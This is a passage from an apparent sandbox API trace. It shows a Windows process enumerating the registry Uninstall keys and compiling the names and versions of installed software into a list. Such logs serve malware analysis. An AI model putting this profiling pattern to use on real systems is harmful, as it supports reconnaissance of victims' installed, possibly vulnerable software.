14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n\r", lpUsedDefaultChar=0x0) returned 786 [0166.378] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1f, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 0x0 [0166.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322d8, cbMultiByte=786, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n) : YKYD69Q(aE甋") returned 786 [0166.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n) : YKYD69Q(aE甋") returned 11 [0166.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n) : YKYD69Q(aE甋") returned 90 [0166.378] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x770) returned 0x0 [0166.378] RegQueryValueExW (in: hKey=0x770, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Adobe Reader X MUI", lpcbData=0x1e7df794*=0x26) returned 0x0 [0166.378] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n) : YKYD69Q(aE甋") returned 14 [0166.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bd4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}001}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n) : YKYD69Q(aE甋") returned 90 [0166.379] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x774) returned 0x0 [0166.379] RegQueryValueExW (in: hKey=0x774, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="10.0.0", lpcbData=0x1e7df78c*=0xe) returned 0x0 [0166.379] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.379] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\n", cchWideChar=814, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\ns", lpUsedDefaultChar=0x0) returned 814 [0166.379] RegEnumKeyA (in: hKey=0x674, dwIndex=0x20, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 0x0 [0166.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=814, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\neen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 814 [0166.380] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\neen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 11 [0166.380] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32174, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\neen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 90 [0166.380] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x778) returned 0x0 [0166.380] RegQueryValueExW (in: hKey=0x778, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpcbData=0x1e7df794*=0x7c) returned 0x0 [0166.380] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.380] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321dc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\neen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 14 [0166.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32270, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}8B9}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\neen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 90 [0166.381] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x77c) returned 0x0 [0166.381] RegQueryValueExW (in: hKey=0x77c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="11.0.61030", lpcbData=0x1e7df78c*=0x16) returned 0x0 [0166.381] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.381] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n", cchWideChar=889, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n", lpUsedDefaultChar=0x0) returned 889 [0166.381] RegEnumKeyA (in: hKey=0x674, dwIndex=0x21, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 0x0 [0166.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322d8, cbMultiByte=889, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n") returned 889 [0166.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n") returned 11 [0166.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n") returned 90 [0166.382] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x780) returned 0x0 [0166.382] RegQueryValueExW (in: hKey=0x780, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpcbData=0x1e7df794*=0x76) returned 0x0 [0166.382] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n") returned 14 [0166.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bd4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}EBB}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 